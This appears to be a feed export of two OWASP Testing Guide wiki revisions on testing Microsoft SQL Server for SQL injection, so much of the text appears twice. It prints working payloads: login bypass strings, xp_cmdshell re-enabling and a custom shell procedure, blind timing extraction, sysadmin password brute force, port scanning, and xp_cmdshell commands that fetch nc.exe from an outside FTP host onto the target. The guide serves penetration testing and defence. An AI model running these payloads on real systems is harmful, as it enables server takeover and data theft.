===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=36958</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=36958"/>
				<updated>2008-08-22T22:31:51Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* SQL Server Peculiarities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
